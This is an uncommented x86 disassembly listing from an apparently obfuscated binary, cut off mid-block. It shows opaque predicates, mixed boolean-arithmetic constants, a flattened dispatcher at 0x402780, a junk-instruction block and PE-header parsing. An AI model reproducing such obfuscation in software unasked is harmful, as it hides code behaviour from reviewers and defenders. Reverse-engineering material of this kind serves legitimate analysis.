mov esi, eax
not esi
and edx, 0xf4fe83f9
and eax, 0xf4fe83f9
or ecx, esi
and esi, 0xb017c06
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov esi, ecx
not esi
mov edi, ecx
and edi, 0xb9bdf07f
and ecx, 0x1022469
mov eax, esi
and eax, 0x46420f80
or esi, 0xde6dd982
or edi, eax
mov eax, edi
mov edx, edi
xor edx, 0xb9bdf07f
xor edi, 0x982fd602
xor eax, 0x46420f80
and edi, edx
and eax, 0xfffffffe
mov edx, edi
not edx
and edi, 0x436ebd6b
mov ebx, edx
or edx, esi
and ebx, 0xbc914294
and esi, 0xbc914294
or edi, ebx
or ecx, esi
not edx
xor ecx, edi
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x7e405541
and ecx, 0x81bfaabe
or edx, ecx
xor edx, 0xa02d8cc2
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xfe3e3fe5
and edx, 0x1c1c01a
or edx, esi
mov esi, ecx
not esi
and ecx, 0x1c1c01a
or eax, esi
and esi, 0xfe3e3fe5
or ecx, esi
not eax
mov esi, 0xd3c684c9
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xdcf6fd13
mov edx, ecx
and edx, 0x230902ec
or eax, edx
xor eax, 0x230902ec
xor ecx, eax
test ecx, eax
sete dl
setne ah
cmp dword [0x497380], 0xa
setge al
setl cl
mov ch, al
xor cl, ah
inc ch
and ch, ah
mov ah, al
xor ah, dl
and ah, al
and al, dl
mov edx, ecx
or al, ch
or al, ah
xor dl, al
or al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x74880e70
cmovne ecx, esi
test dl, dl
mov esi, 0x74880e70
jmp 0x412dde
mov eax, dword [ebp - 0x70]
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0x8962290a
and edx, 0x769dd6f5
or edx, ecx
mov eax, edx
mov ecx, edx
xor edx, 0x769dd6f4
xor eax, 0x8962290a
xor ecx, 0x8962290b
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
not edx
and ecx, 0xe7c81ea9
mov esi, edx
and esi, 0x1837e156
or ecx, esi
mov esi, eax
not esi
and eax, 0xe7c81ea9
or edx, esi
and esi, 0x1837e156
or eax, esi
not edx
mov esi, 0x9818b70a
xor eax, ecx
or edx, eax
mov eax, edx
xor eax, 0xd182f2a8
and eax, edx
not edx
or edx, eax
not eax
and eax, 0x2e7d0d57
and edx, 0xd182f2a8
or edx, eax
setne dl
sete ah
cmp dword [0x497380], 0xa
setl ch
mov al, ch
or dl, ch
xor al, ah
xor dl, 1
mov cl, al
and al, ch
or al, dl
xor cl, 1
mov edx, eax
and cl, ah
xor dl, 1
mov ah, dl
and ah, cl
xor cl, 1
and al, cl
or cl, dl
or al, ah
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xb8d4f9db
cmovne ecx, esi
test al, al
not dl
mov eax, 0xb8d4f9db
cmove ecx, esi
test dl, 1
jmp 0x40ed4e
rcl edi, 0x60
mov edx, 0xb9
dec esi
rcr ebx, 0xab
rol ebx, 0xf9
not eax
imul edx
not esi
neg edi
rcr esi, 4
rcr ebx, 0x6e
imul ebx
rcr edi, 0xba
mov ebx, 0x9e
rcl edx, 0xeb
rol eax, 0xc0
bswap edi
mov edx, 0xcf
neg edi
imul esi
rcr edx, 0x94
rcr esi, 0x86
bswap edx
not edx
rcr edi, 0x85
neg ebx
dec edi
rol ebx, 0xbc
inc ebx
rcl eax, 0xb6
ror edi, 0xc2
not ebx
ror ebx, 0x21
bswap esi
imul edi
bswap edx
not esi
neg ebx
inc ebx
sub esi, 0x29
not ebx
bswap edx
rcr esi, 0xd
inc ebx
inc eax
imul ebx
imul edx
mov eax, 0xfc
not ebx
ror ebx, 0xe1
and ebx, 0xd1
imul esi
add edi, 0x44
rol edi, 0x29
rcr edi, 0xd5
rol edx, 0x8b
not edi
add eax, 0x8f
neg edx
bswap edx
bswap edi
neg ebx
rcl eax, 0x77
imul esi
mov esi, 0x40
not eax
rcl edi, 0xe1
rcl ebx, 0x17
dec eax
inc edi
not ebx
not esi
mov edx, 0x45
rcl edi, 0xa
ror edi, 0xe9
dec ebx
imul eax
rcl esi, 0x5d
and esi, 0xf8
rcl edi, 0xce
sub eax, 0x4e
sbb esi, 0x9d
inc esi
rol esi, 3
bswap edi
rcl eax, 0x31
inc eax
bswap eax
sub eax, 0x16
or esi, 0x58
bswap esi
dec ebx
or esi, 0xd2
ror edi, 0xb
ror eax, 0xa6
bswap ebx
ror ebx, 0x31
sbb eax, 0x6b
sub esi, 0x45
rcr esi, 0x90
not edi
imul ebx
rcl edx, 0x2b
rcr edi, 0xff
inc eax
inc edi
rcr edi, 0x30
or esi, 0xc9
not ebx
not edi
rcl eax, 0xd3
or edi, 0xba
ror eax, 0x23
rcr eax, 0x3b
sbb edx, 0x37
dec edi
imul ebx
and edx, 0x4d
bswap edx
ror ebx, 0x92
not eax
not eax
or esi, 0xdb
neg ebx
ror eax, 0xc1
imul ebx
rcr edi, 0xb4
rol esi, 0xcf
rcr edi, 0x78
dec eax
neg eax
ror eax, 0x90
dec esi
rol esi, 0x73
rcr ebx, 0xe3
not esi
sub ebx, 0x6d
mov eax, 0x76
neg eax
rcr esi, 0x86
and edi, 0x9a
neg edx
bswap edx
inc edi
rcl esi, 0xaf
mov edx, 0x64
ror esi, 0x44
or ebx, 0xb
sbb esi, 0xc1
imul esi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, 0xaeea2f9f
jmp 0x402780
cmp byte [ebp - 0x90], 0
mov eax, 0x46b2678a
mov ecx, 0x13a15e92
cmovne eax, ecx
jmp 0x402780
mov eax, dword [ebp - 0x118]
mov ecx, dword [0x497384]
add eax, 0x18
mov dword [ebp - 0x11c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x5a42ad08
mov esi, edx
and esi, 0xa5bd52f6
and edx, 0xc4f231a
or esi, ecx
mov ecx, eax
or ecx, 0x5a42ad08
and eax, 0xf3b0dce5
and ecx, 0x5a42ad09
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0xf3b0dce5
xor eax, 0xc4f231a
mov esi, 0x529d914a
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete ah
setne al
cmp dword [0x497380], 0xa
mov cl, ah
setl dl
setge ch
xor cl, dl
mov dh, dl
and ch, ah
and cl, al
or dh, al
and al, dl
or dl, ah
or al, ch
xor cl, 1
xor al, 1
mov ebx, ecx
or cl, dh
mov ah, al
or al, dl
xor bl, dh
xor cl, 1
xor ah, dl
xor al, 1
or cl, bl
or al, ah
mov ah, cl
mov ebx, ecx
mov edx, eax
xor ah, 1
xor dl, 1
and bl, ah
mov ch, dl
xor bl, 1
or dl, cl
and ch, al
or bl, ah
xor ah, al
xor dl, 1
xor ch, 1
xor bl, 1
or dl, ah
mov dh, ch
or ch, al
or bl, cl
xor dh, al
xor ch, 1
mov eax, edx
or ch, dh
xor ch, bl
xor al, ch
test al, 1
mov eax, 0x60450b50
cmovne esi, eax
test dl, 1
mov eax, 0x529d914a
cmovne eax, esi
test ch, 1
cmove eax, esi
jmp 0x402780
mov eax, 0xec6ef82c
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xbef56994
mov edx, ecx
and edx, 0x410a966a
and ecx, 0xa9126efb
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
xor esi, 0xbef56994
and eax, 0x56ed9104
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xd37e1643
xor eax, 0x56ed9104
and esi, 0x2c81e9bc
or edx, esi
mov esi, 0xd0614fe7
xor edx, 0xd37e1643
or eax, edx
mov ecx, eax
not ecx
and eax, 0xc7069a56
and ecx, 0x38f965a9
or eax, ecx
xor eax, 0xc7069a56
setne dl
sete ah
cmp dword [0x497380], 0xa
mov ch, dl
setl cl
setge al
and ch, al
and cl, ah
xor dl, al
or cl, ch
and dl, ah
xor cl, 1
or cl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x82f926fb
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, esi
test ah, 1
jmp 0x41247f
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, 0xb1bc31d3
jmp 0x402780
mov eax, 0xba1cf182
jmp 0x402780
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x6c]
inc eax
mov dword [ecx], eax
mov eax, 0x27c265c3
jmp 0x402780
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xaeb61f68
and edx, 0x5149e097
or eax, edx
mov edx, eax
xor edx, 0x2c900f60
xor eax, 0x5149e097
mov esi, eax
and esi, 0xc26f708e
and edx, 0x3d908f71
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3d908f71
or eax, esi
and esi, 0xc26f708e
or ecx, esi
not eax
mov esi, 0xb4d5cd52
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa07f2f1e
and ecx, 0x5f80d0e1
or eax, ecx
xor eax, 0xa07f2f1e
sete ah
setne ch
cmp dword [0x497380], 0xa
mov dh, ah
setl cl
setge dl
mov al, cl
or dh, dl
or cl, ah
or al, ch
xor dh, 1
xor cl, 1
xor al, 1
or al, dh
mov dh, dl
and dl, ah
inc dh
and dh, ch
or dl, dh
or cl, dl
mov edx, ecx
mov ah, cl
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, al
mov ecx, edx
xor ah, 1
xor cl, 1
and dl, ah
and al, cl
or ah, cl
or al, dl
mov cl, ah
mov edx, 0x4e0811ca
xor cl, al
test ah, 1
cmovne edx, esi
test al, 1
mov eax, 0x4e0811ca
jmp 0x411b12
mov eax, dword [0x497384]
mov edi, 0xe8fa186f
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xe790b8d4
mov eax, ecx
and eax, 0xe4109810
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x38020c4
or eax, esi
mov esi, 0xa1088324
xor eax, 0xe4109810
or eax, edx
not edx
and edx, 0x186f472a
and eax, 0xe790b8d5
or eax, edx
mov edx, eax
not edx
and eax, 0x8966f88a
and edx, 0x76990775
or eax, edx
xor eax, 0x8966f88a
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5283dd8
and ecx, 0xfad7c227
or eax, ecx
xor eax, 0x5283dd8
setne dl
sete ah
cmp dword [0x497380], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
and cl, ch
or al, dl
xor al, cl
mov edx, eax
cmovne esi, edi
not dl
test dl, cl
cmovne esi, edi
test al, al
mov eax, esi
cmovne eax, edi
test dl, cl
mov ecx, dword [ebp - 0xb8]
cmove eax, esi
jmp 0x402780
mov eax, dword [ebp - 0xa0]
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x7f6dd938
and ecx, 0x78f7129b
mov esi, eax
and esi, 0x809226c7
and eax, 0x8708ed64
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xf7ea46e6
and esi, 0x815b919
or edx, esi
mov esi, edx
xor esi, 0x7086020
xor edx, 0x88879fdf
mov edi, edx
and edi, 0x78f7129b
and esi, 0x8708ed64
or esi, edi
xor eax, esi
mov esi, 0x4d18ce07
xor edx, eax
test edx, eax
sete cl
setne dl
cmp dword [0x497380], 0xa
setl al
setge ah
mov ch, al
and al, dl
and dl, ah
and ch, cl
and cl, ah
or ch, dl
or al, cl
mov dl, ch
xor dl, ah
mov ah, al
and dl, ch
xor ah, 1
mov ecx, edx
and dl, ah
xor cl, 1
and al, cl
or ah, cl
or dl, al
mov cl, ah
xor cl, dl
test ah, ah
mov eax, 0x3fb7abcc
cmovne eax, esi
test dl, dl
mov edx, 0x3fb7abcc
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402780
mov eax, 0xaa647ad8
jmp 0x402780
mov eax, dword [ebp - 0x114]
mov ecx, dword [0x497384]
mov eax, dword [eax]
mov dword [ebp - 0x188], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x57f03445
and ecx, 0xa80fcbba
or eax, ecx
mov edx, eax
xor edx, 0x45002440
xor eax, 0x880183a8
and eax, 0x9af193ad
and edx, 0x650e6c52
or edx, eax
mov ecx, edx
mov edi, edx
xor ecx, 0xa619280
xor edi, 0x650e6c52
xor edx, 0x311121
mov eax, edi
and eax, 0x9194653d
and ecx, 0x6e6b9ac2
or edi, 0x6d40ac80
and edx, 0x3f5161
or ecx, eax
mov eax, ecx
mov ebx, ecx
xor eax, 0x6e6b9ac2
xor ebx, 0xfcd4c9bd
xor ecx, 0x1902034
and ebx, eax
and ecx, 0x5b1b834
and eax, 0xfa4e47ca
mov esi, ebx
not esi
and ebx, 0x613fd961
or eax, ecx
mov dword [ebp - 0x28], esi
and dword [ebp - 0x28], 0x9ec0269e
or esi, edi
and edi, 0x9ec0269e
xor eax, 0xfa4e47ca
add ebx, dword [ebp - 0x28]
or edx, edi
not esi
xor edx, ebx
or esi, edx
mov edx, esi
not edx
and esi, 0xa08eb92
and edx, 0xf5f7146d
or esi, edx
xor esi, 0x67484713
or eax, esi
mov esi, 0xc27c0f3d
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xae1b48ac
and ecx, 0x51e4b753
or ecx, edx
xor ecx, 0xae1b48ac
xor eax, ecx
test eax, ecx
setne dl
sete al
cmp dword [0x497380], 0xa
setge ah
setl ch
mov cl, ah
or dl, ch
xor cl, al
xor al, ch
xor dl, 1
xor cl, 1
and al, ch
or cl, ah
or al, dl
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
and dl, al
xor al, 1
xor ah, 1
and ah, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x9b4817b6
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x9b4817b6
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402780
mov eax, dword [0x497384]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
xor ecx, 0x34f54428
mov edx, esi
mov eax, esi
not edx
or eax, 0xcb0abbd7
and ecx, esi
mov edi, eax
and edi, 0xb326c6c4
and edx, 0x4d10028
mov esi, ecx
not esi
and ecx, 0x4cd9393b
or edx, edi
or eax, esi
and esi, 0xb326c6c4
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x281e06b8
and ecx, 0xd7e1f947
or eax, ecx
mov edx, eax
mov ecx, eax
xor edx, 0x1ceb4290
xor ecx, 0xff226ef9
mov esi, eax
xor esi, 0xe2002808
and ecx, edx
or edx, 0x1c36d396
and esi, 0xe2882808
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x19719467
and ecx, 0xe68e6b98
or edx, ebx
and ebx, 0x19719467
or esi, edi
or ecx, ebx
not edx
xor ecx, esi
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xe3c92c68
and ecx, 0x1c36d397
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xa26a2c04
mov esi, ecx
and esi, 0x5d95d3fb
or edx, esi
mov esi, eax
xor esi, 0xe314bd6e
xor eax, 0x6a0000
or esi, 1
and eax, 0xa26a2c04
or ecx, esi
and esi, 0x5d95d3fb
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x815aedba
and ecx, 0x10000300
mov edx, eax
and edx, 0x7ea51245
or eax, 0x440844e8
or esi, edx
and eax, 0x468fe4fe
mov edx, esi
xor esi, 0x44000040
xor edx, 0x81500800
or ecx, eax
or esi, 0x287a016
and edx, 0xa9701801
and esi, 0x468fe4fe
or edx, esi
mov esi, 0xa672e52b
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0x7d2e10b
and eax, 0xf82d1ef4
or ecx, eax
mov eax, ecx
xor eax, 0x42008002
xor ecx, 0x540421d
and ecx, 0xadea7ffd
and eax, 0x52158002
or eax, ecx
mov ecx, eax
xor ecx, 0x50100000
xor eax, 0xa23d48
and eax, 0x2a7bd4a
and ecx, 0xfd5842b5
or ecx, eax
xor ecx, 0xfd5842b5
sete dl
setne ch
cmp dword [0x497380], 0xa
setge al
setl cl
mov ah, al
or al, ch
and ch, cl
xor cl, dl
and ah, dl
xor al, 1
or ah, ch
or al, cl
mov dl, ah
xor al, 1
mov ch, ah
xor dl, 1
or al, cl
mov cl, dl
or dl, al
and cl, ah
xor cl, 1
xor ch, cl
or cl, ah
xor cl, 1
or cl, ch
mov ah, cl
xor ah, 1
and ah, al
xor al, 1
and cl, al
mov al, dl
or cl, ah
xor al, cl
test al, 1
mov eax, 0xcf7da15e
cmovne esi, eax
test dl, 1
mov eax, 0xa672e52b
cmovne eax, esi
jmp 0x40ff4a
mov eax, dword [ebp - 0xe0]
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and eax, 0x4995d8ad
and ecx, 1
mov esi, edx
and edx, 0xb66a2752
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0xfb22a114
mov edx, eax
xor edx, 0x4995d8ad
xor eax, 0xb66a2752
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x497380], 0xa
mov al, dl
setl ch
setge cl
or dl, ch
and al, cl
and ch, ah
or ch, al
mov al, ch
xor al, cl
or cl, ah
mov ah, cl
or cl, dl
and al, ch
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor dl, 1
and cl, al
xor al, 1
and dl, al
or al, ah
or dl, cl
mov ebx, eax
xor bl, dl
test al, 1
mov eax, 0x4fd2f552
cmovne eax, esi
test dl, 1
mov edx, 0x4fd2f552
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0x396eb737
and eax, 0xc69148c8
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xc69148c8
mov edi, esi
and edi, 0x396eb737
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
sete cl
setne dl
cmp dword [0x497380], 0xa
setl ah
setge al
or cl, al
or ah, dl
or al, dl
xor ah, 1
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or dl, al
or cl, ah
mov ch, dl
mov ah, cl
xor cl, 1
and ah, al
xor al, 1
and cl, al
or cl, ah
mov eax, 0xf14c3961
xor ch, cl
test dl, dl
mov edx, 0x239e2192
cmovne eax, edx
test cl, cl
cmove eax, edx
test ch, 1
mov edx, 0xf14c3961
cmove eax, edx
jmp 0x402780
cmp byte [ebp - 0x8e], 0
mov eax, 0x105ad684
mov ecx, 0xe6a731eb
cmovne eax, ecx
jmp 0x402780
mov eax, 0xc17403f6
jmp 0x402780
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, dword [0x497384]
lea edx, [eax + 1]
setne byte [ebp - 0x8b]
imul edx, eax
mov ecx, edx
xor ecx, 0x3ff748cd
mov eax, edx
and eax, 0xb3bf51dc
and ecx, edx
not edx
and edx, 0x4c40ae23
or eax, edx
mov edx, eax
xor eax, 0xc400801
xor edx, 0x339200cc
mov esi, eax
or esi, 0x40008720
and edx, 0x379200cc
and esi, 0x4865cf21
or edx, esi
mov esi, ecx
not esi
and ecx, 0xb79a30de
or eax, esi
and esi, 0x4865cf21
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xc008b732
and eax, 0x3ff748cd
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0x70bc70db
and eax, 0x8f438f24
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xf8dbe6ac
mov esi, ecx
and esi, 0x7241953
or edx, esi
mov esi, eax
xor esi, 0x88438624
xor eax, 0x70bc70da
or ecx, eax
and eax, 0x7241953
and esi, 0xf8dbe6ac
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x1ddaced8
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x68e578b3
and eax, 0x971a874c
or eax, edx
xor eax, 0x971a874c
or eax, ecx
xor eax, 0xffffffff
sete ch
setne ah
cmp dword [0x497380], 0xa
mov dh, ah
mov cl, ch
setge al
setl dl
and ah, dl
and al, ch
xor cl, dl
or dh, dl
or al, ah
and cl, dl
or dl, ch
xor dh, 1
xor al, 1
or cl, dh
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x478227bf
cmovne eax, esi
test dl, dl
mov edx, 0x478227bf
jmp 0x40e4b6
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, 0x5657e359
jmp 0x402780
mov eax, dword [ebp - 0xf8]
mov ecx, dword [0x497384]
add eax, 0x18
mov dword [ebp - 0x16c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xd560a66a
and ecx, 0x2a9f5995
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4f744dc6
and ecx, 0xb08bb239
or eax, ecx
mov ecx, eax
xor eax, 0x9810e100
xor ecx, 0x65eb1453
mov edx, ecx
and eax, 0xdc93f110
and ecx, 0x236c0eef
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0x236c0eee
or ecx, edx
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x1968b7c2
and ecx, 0xe697483d
or eax, ecx
mov ecx, eax
xor ecx, 0x1082300
xor eax, 0xe697483d
mov esi, eax
and esi, 0x1cf4d4cb
and ecx, 0xe30b2b34
or ecx, esi
mov esi, edx
not esi
and edx, 0xe30b2b34
or eax, esi
and esi, 0x1cf4d4cb
or edx, esi
not eax
mov esi, 0xd1e5c575
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x90e2e880
mov edx, ecx
and edx, 0x6f1d177f
or eax, edx
xor eax, 0x90e2e880
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x497380], 0xa
mov dh, dl
setl ch
setge al
inc dh
mov cl, ch
or dh, al
or cl, dl
and dl, ch
mov ch, al
xor dh, 1
xor ch, ah
xor cl, 1
and ch, al
and al, ah
or cl, dh
or al, dl
mov dl, ch
xor ch, al
xor dl, 1
xor al, 1
or al, dl
xor al, 1
or al, ch
mov edx, eax
xor dl, 1
mov ch, dl
or dl, cl
and ch, al
xor dl, 1
xor ch, 1
mov ah, ch
or ch, al
xor ah, al
xor ch, 1
or ch, ah
mov ah, ch
xor ch, 1
and ch, cl
xor cl, 1
and ah, cl
xor cl, al
or dl, cl
or ch, ah
mov eax, edx
xor al, ch
test al, 1
mov eax, 0x33e4458c
cmovne esi, eax
test dl, 1
mov eax, 0xd1e5c575
cmovne eax, esi
test ch, 1
cmove eax, esi
jmp 0x402780
mov eax, 0x9e0c459f
jmp 0x402780
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x5e66ba80
mov eax, edx
and eax, 0xe638eb30
and ecx, edx
not edx
and edx, 0x19c714cf
or eax, edx
mov edx, eax
xor eax, 0x18461080
xor edx, 0x6208000
or eax, 0xa199457f
and edx, 0x1e628000
mov esi, eax
and esi, 0x409c3fbc
or edx, esi
mov esi, ecx
not esi
and ecx, 0xbf63c043
or eax, esi
and esi, 0x409c3fbc
or ecx, esi
not eax
mov esi, 0x4b5fe4f1
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7435bd0c
and ecx, 0x8bca42f3
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x9000e053
xor ecx, 0x2a53078c
xor edx, 0x2a53078d
and edx, ecx
and eax, 0xb052e2d7
and ecx, 0x4fad1d28
or ecx, eax
xor ecx, 0x4fad1d29
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x2f5e6542
and eax, 0xd0a19abd
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x15e0c068
and eax, 0xea1f3f97
or ecx, eax
mov eax, ecx
xor eax, 0xc4014214
xor ecx, 0x302e0500
and eax, 0xce91e23e
and ecx, 0x316e1dc1
or ecx, eax
mov eax, ecx
xor eax, 0x8881c03a
xor ecx, 0x20260cc1
and ecx, 0x66362ec5
and eax, 0x99c9d13a
or eax, ecx
xor eax, 0x99c9d13a
setne dl
sete al
cmp dword [0x497380], 0xa
setl ah
mov cl, ah
or dl, ah
or cl, al
xor al, ah
xor dl, 1
xor cl, 1
or cl, al
and al, ah
or al, dl
mov edx, ecx
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x3c7460d1
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x3c7460d1
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402780
mov eax, dword [ebp - 0xf8]
mov eax, 0xaf28bdf6
jmp 0x402780
mov eax, dword [0x497384]
mov esi, 0xf6f93ffc
mov edi, 0x63cdc599
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x51258793
and eax, ecx
not ecx
mov edx, ecx
and edx, 0x51258793
or eax, edx
mov edx, eax
not edx
and eax, 0x51258792
and edx, 0xaeda786d
or eax, edx
mov edx, eax
not edx
and eax, 0x1e742fbb
and edx, 0xe18bd044
or eax, edx
xor eax, 0x1e742fbb
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5be2bc9c
and ecx, 0xa41d4363
or eax, ecx
xor eax, 0x5be2bc9c
sete al
setne cl
cmp dword [0x497380], 0xa
setl dl
setge ah
and dl, cl
and al, ah
or cl, ah
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x63cdc599
cmovne eax, esi
test dl, dl
cmovne eax, edi
test cl, cl
cmove eax, esi
jmp 0x402780
mov eax, dword [ebp - 0x2c]
mov dword [eax], 7
mov eax, 0xdaa3ec7e
jmp 0x402780
mov eax, 0xb9978b42
jmp 0x402780
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov eax, ecx
xor eax, 0xd6c82b04
mov edx, ecx
and edx, 0x50080a00
and eax, ecx
not ecx
and ecx, 0x86c02104
or edx, ecx
xor edx, 0x50080a00
or eax, edx
mov ecx, eax
not ecx
and eax, 0x5c1f3ade
and ecx, 0xa3e0c521
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x7528ee25
xor edx, 0x8ad711da
xor eax, 0x459e4e30
mov esi, ecx
and eax, edx
and esi, 0xcf495fea
and edx, 0xca06139d
or eax, esi
mov esi, eax
not esi
and eax, 0x8f495fea
and esi, 0x70b6a015
or eax, esi
mov esi, ecx
and esi, 0x35f9ec62
and ecx, 0x40000000
or esi, edx
mov edx, eax
not edx
and eax, 0x5d980e15
xor esi, 0x8a06139d
mov edi, edx
and edi, 0xa267f1ea
or ecx, esi
or eax, edi
mov esi, ecx
not esi
or edx, ecx
and ecx, 0xa267f1ea
and esi, 0x5d980e15
not edx
or esi, ecx
xor esi, eax
or edx, esi
mov ecx, edx
xor ecx, 0xa045f60e
mov eax, edx
and eax, 0x5360e
and ecx, edx
not edx
and edx, 0xa040c000
mov esi, ecx
not esi
and ecx, 0x2694838e
or eax, edx
mov edx, eax
xor edx, 0x4020e
xor eax, 0xfffac9f1
mov edi, eax
or eax, esi
and esi, 0xd96b7c71
and edi, 0xd96b7c71
and edx, 0x2004820e
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb10dce24
and ecx, 0x4ef231db
or eax, ecx
mov ecx, eax
xor ecx, 0x482800
